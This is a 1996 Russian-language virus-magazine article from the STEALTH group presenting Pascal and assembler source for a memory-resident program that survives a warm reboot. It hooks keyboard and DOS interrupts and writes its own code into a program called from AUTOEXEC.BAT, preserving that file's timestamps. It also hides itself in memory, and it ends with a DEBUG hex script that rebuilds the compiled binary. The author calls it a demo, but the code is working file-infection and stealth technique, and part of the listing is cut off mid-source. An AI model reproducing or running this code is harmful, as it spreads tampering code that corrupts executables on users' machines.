{ ▄▄ █ ▀▀▀ Virus Magazine █ Box 10, Kiev 148, Ukraine IV 1996 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀ █▀▀▀▀▀▀▀█ ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█ ▌ █ ▄▀█ █ ▄▀▀ █▄▄ █ █ █▀█ █ █ █ █ █▀ █▀ █ █ █▀ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ▐ ▐ ▐ ▐▄▄ ▐▄▄ ▐ ▐▄▄ ▐▄▀ ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄ █ █ █▄█ █ ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄▄▄▄▄█ (C) Copyright, 1994-96, by STEALTH group WorldWide, unLtd. Здравствуй, уважаемый читатель! Рад представить тебе свое очередное извращение. Программа, идущая ниже, не является ни вирусом, ни СМ, она просто демонстрирует, как резидентый вирус, написанный на Паскале, может пережить горячую перезагрузку (при нажатии Ctrl+Alt+Del). Вообще на написание сией проги меня натолкнуло прочтение Касперского "Компьютерные вирусы в МС-ДОС". Ну и глюкавая же книжка, скажу я вам! ;-) Все, что делает эта программа - это отслеживает нажатие клавиш Ctrl+Alt+Del, после нажатия этих клавиш сканирует файл C:\AUTOEXEC.BAT (если таковой имеется), находит в нем вызов EXE или COM проги, приписывается к ней и самостоятельно перегружает систему. При вызове этой проги из AUTOEXEC.BAT чистит и запускает ту прогу, к которой прицепилась, а затем остается в памяти резидентно. По шагам это происходит следующим образом: 1) Отслеживаем вызов Ctrl+Alt+Del 2) В "область данных для обмена сообщениями между программами" (эта область находится по адресу 0000h:04F0h и занимает 10h байт, все, что в эту область вписать, останется неизменным до перезагру- зки системы, спасибо Shizo за то, что он сообщил о существовании такого чуда) вписываем слово 0DEADh 3) Меняем код клавиши Del на код клавиши Ins, таким образом получается, что нажаты клавиши Ctrl+Alt+Ins, и отдаем управление на оригинальный обработчик int 09h 4) Из нашего обработчика int 21h проверяем, не появилось ли по адресу 0000h:04F0h слово 0DEADh, если появилось, заменяем его на 0DEEDh (если этого не сделать, при вызове int 21h из процедуры WarmBoot произойдет зацикливание) и вызываем процедуру WarmBoot 5) В процедуре WarmBoot сканруем C:\AUTOEXEC.BAT, дописываемся к первой подходящей EXE или COM программе и самостоятельно перегружаем систе- му. 6) При вызове программы, к которой мы приписались, очищаем и исполняем ее, затем становимся резидентом. Своего кода в программе не оставля- ем. Этот метод не работает в оболочках, которые контролируют Ctrl+Alt+Del самостоятельно (Windows, например), да и саму прогу можно еще оптимизировать и оптимизировать, однако мне, честно говоря, это делать просто влом, демо это простое все-таки... Может также не сработать при включенном кеше с задержкой записи. Этот глюк устранить просто, достаточно не перегружать систему самому, а имитировать нажатие клавиш Ctrl+Alt+Del и вызвать оригинальный int09h, тогда все кеши смогут сбросить данные на диск. Но опять-таки лениво. Если кто желает посмотреть на это извращение в действии, откомпилируйте сходник вот таким образом tpc -$a- -$b- -$d- -$e+ -$f+ -$g+ -$i- -$l- -$n- -$o- -$p- -$q- -$r- -$s- -$v- -$x- WARMBOOT.PAS затем запакуйте LZEXE и откорректируйте длину получившегося EXE файла (длина указывается в константе Len). Для тех, кому влом компайлить, существует другой способ - в конце этого файла находится дебаговский скрип уже откомпи- лированной заархивированной программы. Вырежьте его в файл WARMBOOT.SCR и запустите DEBUG.EXE следующим образом: DEBUG 0 Then GoTo Quit; { нет ножек - нет и шоколадки } Assign(_F , 'C:\AUTOEXEC.BAT'); Reset(_F , 1); If IOResult <> 0 Then GoTo Quit; { диск от записи защищен } Seek(_F , 0); If _Sr.Size > Len Then _J:=Len Else _J:=_Sr.Size; BlockRead(_F , ComBuf , _J); { считываем AUTOEXEC.BAT в буфер } _Str:=''; _S5:=''; _S4:=''; _S3:=''; _S:=''; For _I:=1 To _J Do begin If ComBuf[_I] <> #13 Then _Str:=_Str + ComBuf[_I] Else begin Inc(_I); For _A:=1 To Length(_Str) Do _Str[_A]:=UpCase(_Str[_A]); { все к верхнему регистру } _S5:=_Str; _S4:=_Str; _S3:=_Str; If _S5 = '@ECHO' Then GoTo Gov; { если строка начинается } If _S5 = 'PROMP' Then GoTo Gov; { с этих штучек, то это } If _S5 = 'VERIF' Then GoTo Gov; { явно не вызов проги } If _S4 = 'ECHO' Then GoTo Gov; If _S4 = 'CALL' Then GoTo Gov; If _S4 = '@REM' Then GoTo Gov; If _S4 = 'PATH' Then GoTo Gov; If _S3 = 'REM' Then GoTo Gov; If _S3 = 'CLS' Then GoTo Gov; If _S3 = 'SET' Then GoTo Gov; If _Str[1] = ' ' Then GoTo Gov; If _Str[1] = ':' Then GoTo Gov; If _Str[1] = '' Then GoTo Gov; For _A:=1 To Length(_Str) Do If _Str[_A] <> ' ' Then _S:=_S + _Str[_A] Else _A:=Length(_Str); _Ext:=Copy(_S , Length(_S) - 2 , 3); If ((_Ext <> 'COM') And (_Ext <> 'EXE')) Then GoTo Gov; { если в строке последние три символа - EXE или COM - } { то это уже хорошо } FindFirst(_S , AnyFile , Sr); If DosError <> 0 Then GoTo Gov; { а если еще и прога эта на диске реально есть } If Sr.Size <= Len Then GoTo Gov; { и размер ее нам подходит - то это просто чудненько } Assign(_F , _S); Attr:=Sr.Attr; Time:=Sr.Time; SetFAttr(_F , Archive); Reset(_F , 1); If IOResult <> 0 Then GoTo Gov; { открыть не получилось :((( } Seek(_F , 0); BlockRead(_F , ComBuf , Len); { считываем оригинальное начало } Seek(_F , 0); OurBuf[29]:='I'; { вписываем в свое тело метку } BlockWrite(_F , OurBuf, Len); Seek(_F , Sr.Size); BlockWrite(_F , ComBuf , Len); { вписываем себя в начало, оригинальное начало - в конец } Reset(_F , 1); SetFAttr(_F , Attr); SetFTime(_F , Time); { восстанавливаем дату/время и атрибуты файла } Close(_F); GoTo Quit; { все, можно перегружать систему } Gov: _Str:=''; _S:=''; { повторяем поиск, пока не найдем прогу подходящую или пока } { AUTOEXEC.BAT не закончится } end; end; Quit: asm XOR AX, AX { совершаем горячую перезагрузку } MOV DS, AX MOV DS:[0472h], 1234h DB 0EAh, 00h, 00h, 0FFh, 0FFh end; end; { end proc } {$F-} procedure Int21h; Assembler; { это наш обработчик int 21h } asm PUSHF CMP AX, 0FACEh { если в AX - 0FACEh, считаем, что int 21h } JNZ @1 { вызывается нами же с диска с целью про- } MOV AX, 0BEDAh { верки на наличие копии в памяти. Отдаем } POPF { в AX 0BEDAh и выходим из обработчика } RETF 2 @1: PUSH AX PUSH DS XOR AX, AX MOV DS, AX CMP WORD PTR DS:[04F0h], 0DEADh { слово в памяти - 0DEADh ? } JNZ @2 { нет, управление на оригинальный int 21h } POP DS POP AX XOR AX, AX MOV DS, AX MOV WORD PTR DS:[04F0h], 0DEEDh { заменяем 0DEADh на 0DEEDh } CALL WARMBOOT { вызываем процедуру WarmBoot } @2: POP DS POP AX POPF INT 0E4h { вызов оригинального int 21h, сохраненного в int E4h } RETF 2 end; {$F+} procedure Int09h; Interrupt; { а это наш обработчик int 09h } Label Her_S_Vami; begin asm PUSH AX PUSH DS IN AL, 60h CMP AL, 53h { Del нажат ? } JNE HER_S_VAMI { Нет, работайте дальше } XOR AX, AX MOV DS, AX MOV AL, BYTE PTR DS:[0417h] AND AL, 0Ch CMP AL, 0Ch { Ctrl и Alt нажаты ? } JNE HER_S_VAMI { Нет, просто Del } IN AL, 61h MOV AH, AL OR AL, 80h OUT 61h, AL XCHG AH, AL OUT 61h, AL MOV AL, 20h OUT 20h, AL XOR AX, AX MOV DS, AX MOV WORD PTR DS:[04F0h], 0DEADh { засовываем в память слово 0DEADh } MOV AL, 52h OUT 60h, AL HER_S_VAMI: POP DS POP AX PUSHF end; { asm } Old09h; { а это оригинальный обработчик int 09h вызывается } end; { end proc } {$F-} procedure RunReal; { процедура запуска программы, к которой мы прицепились } Var _Sr : SearchRec; _Time : LongInt; _Attr : Word; _F : File; _P : String; begin _P:=''; If ParamCount <> 0 Then For _Attr:=1 To ParamCount Do _P:=_P + ParamStr(_Attr); { запоминаем параметры } FindFirst(ParamStr(0) , AnyFile , _Sr); _Time:=_Sr.Time; _Attr:=_Sr.Attr; Assign(_F , ParamStr(0)); Reset(_F , 1); OurBuf[29]:='$'; Seek(_F , _Sr.Size - Len); BlockRead(_F , ComBuf , Len); Seek(_F , 0); BlockWrite(_F , ComBuf , Len); Seek(_F , _Sr.Size - Len); Truncate(_F); Reset(_F , 1); SetFTime(_F , _Time); SetFAttr(_F , _Attr); { удаляем из программы свой код, восстанавливаем ее дату/время и атрибуты } Close(F); SwapVectors; Exec(ParamStr(0) , _P); SwapVectors; { ну и запускаем, естественно } end; { end proc } procedure Hide; Assembler; { а это чтоб нас в памяти не видно было } asm PUSH ES PUSH AX MOV AX, 0000 DEC AX MOV ES, AX MOV WORD PTR ES:[1], 70h POP AX POP ES DB 0EAh DW 0 DW 0 end; begin { * MAIN * } WriteLn(Intro); WriteLn(CopyLeft); WriteLn(Hello); asm MOV AX, 0FACEh { проверка на наличие копии в памяти } INT 21h CMP AX, 0BEDAh { в AX нам вернулось слово 0BEDAh ? } JZ A_MI_UZHE_V_PAMYATI { Да, мы уже в памяти } end; Assign(F , ParamStr(0)); Reset(F , 1); If IOResult <> 0 Then GoTo Fuck; { плохо, нам открыть себя не получается :( } Seek(F , 0); BlockRead(F , OurBuf , Len); { считываем в буфет наше тело } Close(F); If OurBuf[29] = 'I' Then RunReal; { если у нас в теле стоит метка I, значит, мы запущены из AUTOEXEC.BAT и надо запускать прогу, на которой мы сидим } SwapVectors; GetIntVec($09 , @Old09h); { запоминаем обработчик int 09h } GetIntVec($21 , Old21h); { и int 21h } SetIntVec($E4 , Old21h); { перевешиваем int 21h на int E4h } SetIntVec($09 , Addr(Int09h)); { вешаем свой обработчик на int 09h } SetIntVec($21 , Addr(Int21h)); { на int 21h } SetIntVec($E5 , Addr(SGWW)); { в int E5h сохраняем DS:DX } Regs.AH:=$62; Intr($21 , Regs); { прячемся в памяти } MemW[Seg(Hide):Ofs(Hide)+3]:=Regs.BX; MemW[Seg(Hide):Ofs(Hide)+18]:=MemW[Regs.BX:$A]; MemW[Seg(Hide):Ofs(Hide)+20]:=MemW[Regs.BX:$C]; MemW[Regs.BX:$A]:=Ofs(Hide); MemW[Regs.BX:$C]:=Seg(Hide); Keep(0); { все, отныне мы резидентны } A_MI_UZHE_V_PAMYATI: WriteLn(We_Are); Halt; FUCK: WriteLn(Protect); end. { * А еще я на машинке вышивать умею ;-) * } =========== резать здесь ========= begin of -■[WARMBOOT.SCR]■- ========= N warmboot.arj E 0100 60 EA 2C 00 1E 06 01 00 10 00 02 A0 A0 A3 FE 20 E 0110 A0 A3 FE 20 00 00 00 00 00 00 00 00 00 00 00 00 E 0120 00 00 57 41 52 4D 42 4F 4F 54 2E 41 52 4A 00 00 E 0130 E8 91 4A AD 00 00 60 EA 2C 00 1E 06 01 00 10 01 E 0140 00 A0 97 A3 FE 20 9B 12 00 00 4C 13 00 00 E6 8F E 0150 63 56 00 00 20 00 00 00 57 41 52 4D 42 4F 4F 54 E 0160 2E 45 58 45 00 00 3A 1D 8D 81 00 00 12 E3 86 03 E 0170 1E D0 A7 BD D0 AF EF 7B BB BD EE 70 E7 24 1A CB E 0180 BB 9B 22 4A 44 D3 50 55 4D 25 6A AE 8A 12 DA B2 E 0190 A6 DA B5 26 EB B8 B6 A9 DC CD 17 38 56 DB ED B6 E 01A0 CF B6 FB 48 AD B0 51 4D 6E 72 9C 39 38 32 05 50 E 01B0 2A 70 2E E7 13 BB B8 3D 9D EF BE FF 3E F3 F7 9F E 01C0 BC FB CF F6 CA 12 B5 8B 6B DD 47 ED C4 34 00 00 E 01D0 A0 3C 05 7C 05 6A 84 4B A0 B3 60 73 11 DC 1F FE E 01E0 C0 85 C2 1E 0F E0 D9 EF F7 DB CD AC 76 D6 1D FB E 01F0 69 B3 56 1D F1 7D 90 D1 3B C2 E8 22 B7 9B A4 05 E 0200 FF 62 63 36 B1 5B 78 82 D9 45 A1 F6 7B 9D C9 63 E 0210 D6 3B 28 AD AE E8 B2 0B F8 92 B9 C9 12 95 87 DC E 0220 C5 95 8B DA EF 86 F1 8C 12 B5 D6 5B 82 C0 80 AD E 0230 9E BC F0 3A 7F A0 84 AA AD 09 3C 6F 23 63 3B 2D E 0240 6E E9 1B 3F D2 00 52 7E 60 98 D8 4D BD 81 11 55 E 0250 FF 31 69 DA CF 7C 38 39 4C 3D 13 FF A8 B5 E0 62 E 0260 3F 23 0E 40 49 FB C6 93 F3 65 1A B6 56 E4 49 F9 E 0270 76 9E 52 39 00 26 7D F4 C8 C1 C7 98 96 60 04 8D E 0280 9C F3 72 F2 CB F7 27 A5 9C A5 0C 2C 88 B5 F5 B0 E 0290 15 3C 42 F4 CC 5C 33 69 48 D4 68 CE C6 86 52 D4 E 02A0 F1 DE 72 04 13 EA CC 5B 58 CC FB E4 C5 EE 1A C3 E 02B0 B5 D8 35 83 9A 0B 55 E4 02 D2 D5 34 CA 82 14 08 E 02C0 07 69 98 4F 5C B7 DB E2 2A A6 68 36 CC 0A 85 AA E 02D0 79 6B 64 BD F7 CD 1B 7C 85 6A 28 3A 45 0D 69 3A E 02E0 EE D0 04 C2 E1 CB 65 0F 82 0C CF 44 DF 47 D1 C5 E 02F0 45 FF 02 D8 83 88 D7 CC 3F CA 1E 94 5B 32 2F 97 E 0300 F3 EA A6 DD CD 74 5F F1 3F DF 77 FD 8E AD 67 AD E 0310 26 A1 A6 DC 96 05 83 9F 20 95 3D 60 F3 73 1E 8E E 0320 F4 BF 13 19 B6 DD 9F 49 9A 7A 22 F8 DE 44 78 1D E 0330 A1 F3 DF DB 76 C0 F5 97 A3 C9 26 3A B7 5F 92 5B E 0340 24 66 E7 DC 9B AB 12 B9 24 5B 2A 39 44 CF C5 F1 E 0350 D3 F2 91 BD 62 14 60 43 A3 01 8D 5B B0 25 DF DB E 0360 E5 68 21 4B 0A 05 5E D6 81 F5 EF FB AC 09 7B D0 E 0370 47 51 81 3A 9D 02 E7 30 26 03 EC EE E8 23 E3 61 E 0380 F1 2A 82 D0 3D EF 28 2C 09 83 D0 44 2B 02 76 1A E 0390 04 F6 51 2D 66 E4 9F CB 8A 7F 37 4B 9B 07 9A E4 E 03A0 89 8F 97 9A CE 6E 65 8F 3B 2F 86 62 EE 51 E9 2C E 03B0 35 C8 C2 26 62 E3 C4 4C C5 BD 2D 5E B9 17 A0 FA E 03C0 2D 7F 7F BA F2 D1 79 14 9A 37 9C EE EB CB 3F 93 E 03D0 3B DB 62 6B 03 91 F0 54 FA BA AC D8 1A FD 89 ED E 03E0 EF 73 68 8A 56 C9 8F E5 1F 07 3F 06 26 DB 6F 12 E 03F0 82 49 93 C5 76 2D 74 86 6D F6 A9 A2 AD A1 D2 51 E 0400 39 FA 88 88 F5 07 93 13 09 02 24 E9 1B 11 94 92 E 0410 19 0A EC 16 D7 41 26 2B 3C 84 03 9E 69 23 6C BD E 0420 63 86 F7 C4 46 E5 CA 57 20 A5 B8 98 FD 1D 76 B0 E 0430 8A 5C 2F A6 DF E9 4D 10 4B 1E 0D C1 09 FF 0B A2 E 0440 33 33 D3 46 1D A6 1F B3 8A 7E 7D E6 9B A5 82 E9 E 0450 53 E9 24 52 3A 58 D4 58 26 BE 5E A5 17 A6 F8 63 E 0460 76 22 E7 82 48 C6 DF C6 47 9C 1E 31 9B 2D 3C 61 E 0470 0F 77 6C 0F 18 FB 9A 41 9D 7C 83 36 72 48 B3 23 E 0480 A3 27 28 4E F4 63 4C C7 23 3E 7F 8E B3 FA CA 0C E 0490 FF 02 CD 83 A3 A6 2E 9B 0E D9 40 75 38 50 50 03 E 04A0 A1 BE 51 EE 68 A8 50 96 C7 08 7F EF 9E 76 76 BF E 04B0 A4 37 87 3D 19 85 17 D5 9F AE F0 36 85 00 80 EE E 04C0 0C BE C1 89 6A 6F 3A 3B B6 2E 27 A3 99 AC 15 9E E 04D0 4F 9E 7C E4 F6 E2 E4 19 5F AD B6 20 52 5E AB 41 E 04E0 17 BD 8A 8C 8D 3A 2E FD 36 2A 89 81 12 FE D8 16 E 04F0 58 9F 14 2C 5A 37 D2 56 DC 75 5D 4B 3C B7 42 B7 E 0500 23 C9 90 E9 6C 7B D6 0D C9 71 A4 26 6C 07 A7 3F E 0510 8C 7D 8B 1E E1 3D 7A 78 AC 6F 8A A7 F4 09 D0 EC E 0520 63 01 66 60 F7 0F 85 1F C0 E0 C7 5B D9 54 95 99 E 0530 D6 EF 77 9B 99 FA 36 6C A6 99 6F D5 31 CE 4D 33 E 0540 BA 27 6C C3 D7 2B 0E 99 BC BC 45 BC 95 F5 BB AE E 0550 EA 81 85 D3 5D EE FB 2B 74 EA C8 32 96 F3 FC 16 E 0560 71 F9 3A CB 8C 2E 87 9D 3D AF 7D 1E 9F A9 5E BF E 0570 BB 8F 8F E5 E8 CD 7C F7 5E 3A 7C 9F 3B 04 F1 99 E 0580 3F F1 54 75 CA 68 CB B9 B8 8C 7F 16 3F E5 BC 52 E 0590 C3 4D AA B6 18 D7 0F C6 BB E6 CC 76 66 F3 EA 1F E 05A0 EB 0F 7B 2B BC CB 55 B9 72 98 BE 04 57 DB 4A 81 E 05B0 F3 33 D3 E2 5D A2 AC EC AE 6C 53 75 7C 31 C2 B9 E 05C0 74 63 3B CF C3 77 46 6C F4 7A 9A 06 82 52 52 EC E 05D0 8B 9C 9C 9C A1 ED FC 2C 15 70 A1 98 73 57 E0 B0 E 05E0 9F DC 14 C3 7B 19 B3 B7 99 B7 AD 08 8B B0 EC D5 E 05F0 8A 81 46 87 53 DD 62 67 AB 5E 96 0A 20 24 C1 1C E 0600 62 D9 79 21 0A BD D7 D7 D7 A5 EC 9F ED 75 F0 7A E 0610 FD 8F E3 AD E9 49 D5 A6 FE 32 B2 FF 7E AD 0E 0E E 0620 1F EF 47 FC 25 0B 4C 48 74 48 79 2F BB 3E 4A 23 E 0630 C1 7D F7 A4 79 2D E6 B1 3F 8A 2E BD 36 13 09 A5 E 0640 B4 A7 FA DF C6 02 DE C8 D4 DD 50 84 FF 4F AA B6 E 0650 8F AB 49 D7 7E 39 A7 E2 F2 5F 0F FB C1 87 DD C8 E 0660 7D 3C 73 F0 1A FD 7C 13 F1 BF 0C 48 D2 76 7C 9E E 0670 59 F8 DE 5A 9E 33 C3 9A 50 B2 EE A1 91 90 E3 7D E 0680 07 F8 F2 53 41 3F CA 91 E5 63 FD 0F C6 35 22 1A E 0690 87 90 0B 19 29 2E 5A 23 E8 51 C9 3C 78 D0 F1 D1 E 06A0 4D 2D 91 3F 26 85 8C 8F 14 8E 31 F3 84 F1 98 CA E 06B0 31 D3 F2 A4 3E 8E 24 89 56 E7 C3 13 FE FB C5 90 E 06C0 26 9B 61 55 75 34 E2 2A 3C 63 9B 5D A5 E4 BB C9 E 06D0 BB E1 79 8B B5 C7 1F 95 8E 36 8E 58 25 F1 C6 36 E 06E0 A3 C3 9F 6C F1 0D 7D 59 D8 B9 E8 76 B9 3D B6 93 E 06F0 B5 80 F7 5A 61 AE 6C 5F 57 78 73 49 22 8E E4 73 E 0700 79 CC D7 5E 37 2F C7 E1 B1 6C 4B B0 5B B0 AF BD E 0710 FC D7 7A 47 42 D3 90 D8 AA 33 33 A1 8A 5A 41 97 E 0720 21 E1 54 7E 58 71 03 05 F0 19 72 96 82 CA 9F 77 E 0730 65 C9 F8 AF 7D A2 FB 86 48 30 99 5E 39 79 32 4B E 0740 32 18 D6 2A A2 8B 3A 0E F9 76 22 CA BD F1 30 65 E 0750 1E F0 EE F2 B2 72 93 BA 73 5E FC 6A B6 35 AD A6 E 0760 0C 3D 26 73 A0 67 98 69 FF FB 06 62 77 3C 7D 26 E 0770 38 CD 8D DE BF 6B 40 5D F1 D4 99 31 72 16 66 5D E 0780 BD 37 A1 66 E3 AB D5 60 75 AA 32 E7 6A 18 9B 33 E 0790 3E E8 27 FA CD CD 0D 0E 18 C6 EC F0 88 06 FD 3E E 07A0 41 DF 04 61 A9 8A F6 21 7F 9C 87 B6 78 3D CC 2D E 07B0 03 66 C0 A4 08 7D DA DA 19 B7 BB 09 61 7E CA 4F E 07C0 86 D0 CE 01 06 65 B5 18 09 F7 62 A8 12 F5 0F 98 E 07D0 77 93 38 42 E1 79 0D 3C 37 7B FA 55 51 B8 DC C1 E 07E0 7D 9D 45 6C 0D D5 60 CD 83 F7 FE DA B2 6F 47 17 E 07F0 65 DE 4F DC AA BB F5 B1 52 15 B3 19 08 3F 39 46 E 0800 E9 D4 83 4B 53 BA 18 1E 96 17 79 85 4F BC FC BE E 0810 C7 09 A6 94 5A CA DA 3F A8 5A 9D 25 C3 C3 BC EC E 0820 66 29 EA D3 55 3B B6 50 FD 0A 15 C7 C0 9F 16 BC E 0830 D7 AF 65 C2 23 00 F5 4E F1 A9 51 F1 0B 03 18 74 E 0840 27 66 16 1D 56 13 A2 9E AB AA 00 83 B3 EC E6 DC E 0850 CD 9E F0 D7 6F 13 E7 6E C8 FE 28 C7 3D F3 99 97 E 0860 57 5F 37 11 49 AD BB 3F 65 39 5B BA FB A9 09 7A E 0870 23 7B 97 47 89 A6 FD F2 48 A0 85 24 00 DB AD 4E E 0880 E8 50 0F B7 18 A2 02 72 03 17 19 A0 5C 31 93 3D E 0890 4E 3D CE 3A 4F 3D CB E4 12 B7 6D E6 3B 7B 41 A9 E 08A0 02 68 86 70 26 48 D4 1A D4 7D 5A A1 8D CA 0B 3B E 08B0 58 F1 BB 28 16 12 CC 25 A8 E6 96 E3 D3 B7 D1 BC E 08C0 4E F7 58 26 94 70 0E 5C E7 0B 36 23 FC C2 4D 2C E 08D0 34 E4 46 7E 19 C5 02 3E 15 96 BA 66 3D 12 46 7B E 08E0 BB 96 71 9F 54 EF 09 9A 80 7B FC E9 C5 39 6A 7C E 08F0 96 77 D9 E9 D2 4F 69 54 A4 6B 49 99 53 BA C2 B5 E 0900 26 D2 9D E1 5C D5 1D AE FC EF 05 F8 30 4E E5 22 E 0910 5C 12 37 3F 75 B4 A5 39 E6 47 A6 41 4C 9E F0 CB E 0920 C1 16 44 5C 10 BB 6A 33 31 9A 9D 3D C2 8E B6 CE E 0930 87 07 E8 2C 6C 4B 4D 10 F4 89 D5 91 5D AE B0 22 E 0940 BE 92 39 AD 8B 57 13 73 97 8D 49 7E E9 8A 4A 4A E 0950 8C 56 8A BA 8F 95 92 65 2A 9C 81 D4 1D FA 95 50 E 0960 7B 8C C5 8B 3B E0 73 B1 69 D3 2F D3 DA 94 98 58 E 0970 10 96 C2 C6 B5 01 4F 65 E3 DB 79 F7 35 B0 5E EE E 0980 BB 5E A9 9C 1C 24 2C 36 C3 62 8C C5 F0 43 EE CE E 0990 04 F0 B0 A0 81 C9 5C C1 B5 77 54 09 EC 0B 92 1A E 09A0 6A 82 D7 6B A7 2E 8A D7 D0 9B 05 09 C0 48 19 2A E 09B0 2E 9A 87 44 43 BA DE 69 07 C8 D3 82 7A E5 EA 80 E 09C0 A0 DB 1C C7 90 2C 15 F8 1E 40 4E 1B 7F CE 27 E7 E 09D0 D7 FC E3 36 A6 D2 CE 73 87 CA 3A 6C F2 95 8F 0D E 09E0 C2 28 04 8A 97 21 BD B8 6E 88 D7 E0 50 F2 31 66 E 09F0 39 6B 76 3B A5 1D 47 B3 A8 09 51 C5 3C 6C A1 B4 E 0A00 06 D7 6E F3 D7 59 14 9D 0E 46 9F 20 63 50 79 15 E 0A10 45 2D 60 6B 7F 4E 08 42 97 D2 E1 17 FA FE 9C 04 E 0A20 B8 AC 52 90 C5 11 BD 93 53 09 6D D8 B1 21 10 9B E 0A30 2E B2 00 2B BF 08 7C EB DA CC 58 0B 1D 31 E9 3D E 0A40 2E B3 F0 02 51 C2 C7 5F CC 2A A8 21 8D A9 DF 7D E 0A50 C9 F2 12 85 26 ED D0 48 EE 0F 02 3F 85 C3 F8 4F E 0A60 18 B7 51 70 01 D2 78 D8 15 51 64 0E 07 05 81 85 E 0A70 01 03 50 D2 AD BF C6 68 D6 86 08 09 EB 9B 55 A2 E 0A80 86 A0 F4 2F D1 81 B6 B5 16 AD 1A FA 03 99 BE CB E 0A90 E8 55 AB 95 75 CE BC 86 01 CE 61 C5 3E AC E5 45 E 0AA0 70 8A D7 21 30 F5 09 E3 64 84 5F 30 E4 5D B0 B9 E 0AB0 4F 65 38 AD F7 8E BE 61 81 C4 C1 E9 9B D7 01 31 E 0AC0 D8 30 58 1D D6 02 72 B7 A2 B6 A1 CB 35 6E 65 0F E 0AD0 B8 46 C8 0A FA 2A 24 84 3E 2C 5D A9 0D 1D EB E3 E 0AE0 35 06 47 CE 78 29 4A C5 BF 4C F0 CB C8 CA 69 6D E 0AF0 33 36 34 14 ED A2 D3 A2 7C 56 72 AF 72 53 C2 0A E 0B00 08 F5 D3 20 A8 AB E0 E5 9D CB 5A 22 F5 D4 94 F0 E 0B10 6B B7 F9 93 3D 4B E5 DA D5 FF 12 F3 13 33 5E 6A E 0B20 9D CD 73 F4 D9 83 50 EB 56 0A BB 1A 1D 83 45 75 E 0B30 1C 6C 69 A4 95 06 97 14 DE 96 D6 62 66 B2 2C FE E 0B40 80 77 FA C8 E9 BB 05 68 07 5C 20 F2 19 A8 2A 0B E 0B50 5D 2E 5C 57 39 E5 C0 63 D8 90 B0 68 4A 16 31 37 E 0B60 71 52 2E 78 54 2B FD D7 68 A2 91 C9 22 E3 F2 A4 E 0B70 4F C8 A1 43 B1 E7 F2 D0 9F 01 F9 04 4D 5F 9B CD E 0B80 01 02 50 B3 5D CB 92 E6 1F 87 E5 C9 FD 13 4D 50 E 0B90 F1 FE 4F 95 76 9F 8A F9 E7 AE D7 40 EA 73 9C 35 E 0BA0 FA C3 FB 4C 4A E9 09 2E 34 0D 6C D0 B3 4E 11 36 E 0BB0 B3 1B 06 A0 46 25 AD 00 43 EB 5F 26 4A 7C B8 29 E 0BC0 EF 78 A3 D4 26 FC A2 43 0B 79 BC FD 18 C5 D0 B8 E 0BD0 34 17 9E 65 2A B6 43 6D 4B 4A DE 28 63 27 67 79 E 0BE0 12 4A 8F 2E 7E D0 92 E3 07 E6 42 DE FB 61 CC 6C E 0BF0 CE BC 84 17 60 07 62 50 E1 5A 2E D4 12 A6 06 E9 E 0C00 38 55 E0 1D 82 B0 48 66 0B C1 2A 58 7F C2 91 5B E 0C10 8A 8A 7F 28 E9 41 49 99 B0 36 19 DD AA 2A 49 CC E 0C20 80 9A 5E 11 EB F2 2A 8D 81 A5 25 56 F0 0D B7 41 E 0C30 CE 46 D9 4B 07 65 28 5A 6E CB 0C CD 2D 93 22 B4 E 0C40 7A AC 1C 21 AA 6F 4F 68 D6 F6 A9 CD 1E 7F 82 4F E 0C50 B6 2C F4 9A 54 61 6C 5D 86 6E 18 C8 C6 FA 99 FD E 0C60 EC FC D3 57 57 2A 6A 3C B3 4E AC 0C A9 ED B5 2A E 0C70 A7 B9 E5 3F 86 74 DF 89 3E D4 A4 32 F4 5A 28 69 E 0C80 AC 35 E8 9B E1 90 A2 38 B0 A7 C6 17 20 30 79 8A E 0C90 16 34 DA ED 30 23 FB E3 4D 36 55 13 56 70 0B B7 E 0CA0 20 44 B0 02 AC 59 75 F8 5D 53 F8 97 40 66 89 50 E 0CB0 44 BF 40 A7 6D DA 40 D0 DD A3 35 3F 23 82 CC 17 E 0CC0 64 15 7A 3B 37 30 47 6D 4A 99 6E AB 77 CC 45 5A E 0CD0 33 64 9F 3B F3 25 E8 3E C6 B5 79 5E 72 FE 19 85 E 0CE0 6B 4E 79 B2 E0 3C 1B F6 E9 0D D7 9F EB 19 3E 96 E 0CF0 A7 63 A2 BD 39 2E 01 39 8B 1B 40 29 CE AA CC D5 E 0D00 14 3E A3 CF F7 03 1A 81 B3 7A 9A DD 47 78 76 47 E 0D10 7E 3F 09 87 DA EA 55 12 37 7F 7A DB F1 9D AA EE E 0D20 70 47 5A C2 61 AE AF 48 5A 50 5A 9D 86 30 FE 91 E 0D30 B2 35 B8 47 1F 92 3D 23 7E F3 CA 93 0F E0 84 95 E 0D40 34 89 F4 E8 B1 71 55 11 A3 87 E0 E1 9A 30 56 F8 E 0D50 AB 31 C3 70 FA CD C0 13 95 FC 13 07 A3 2F FF B5 E 0D60 6F E8 CC AB 06 7F CB A6 A0 DE C5 7B 31 6A F9 CB E 0D70 A0 44 C4 E1 C7 F0 23 BB C4 A3 EF 2B 8B 33 D6 1F E 0D80 65 D6 ED F5 B5 EC 83 8D BC E7 A4 32 FB 6E FB 73 E 0D90 CC 2C 56 D0 29 20 6E 85 7A B0 95 6E 2A 4D 39 F1 E 0DA0 DA 51 BE 92 26 09 5A EC 3F 04 6A 36 CD 77 B9 15 E 0DB0 DA C2 07 6A 3F 0D 7D 91 8B FF C7 8F F8 D4 0F 13 E 0DC0 50 46 CE A0 63 4E D2 75 D5 16 5A BF 7E 7A F8 CA E 0DD0 DA 6E 1D 33 5E D5 13 EE 47 15 AC 5D 31 0D E8 22 E 0DE0 A3 29 27 61 7C 94 9C 28 F8 ED 95 6F F2 4F B6 CD E 0DF0 C0 3C 21 54 55 97 93 5D EA 25 19 A7 A9 8F 30 52 E 0E00 69 2F 53 2E 93 FB D5 D2 C2 B7 A2 6E 85 D2 22 E9 E 0E10 C8 38 C2 34 46 D2 FD 58 C8 9B 39 BA E6 06 91 09 E 0E20 BB E9 AB 51 70 32 AC AA D2 0A 02 B3 7C 09 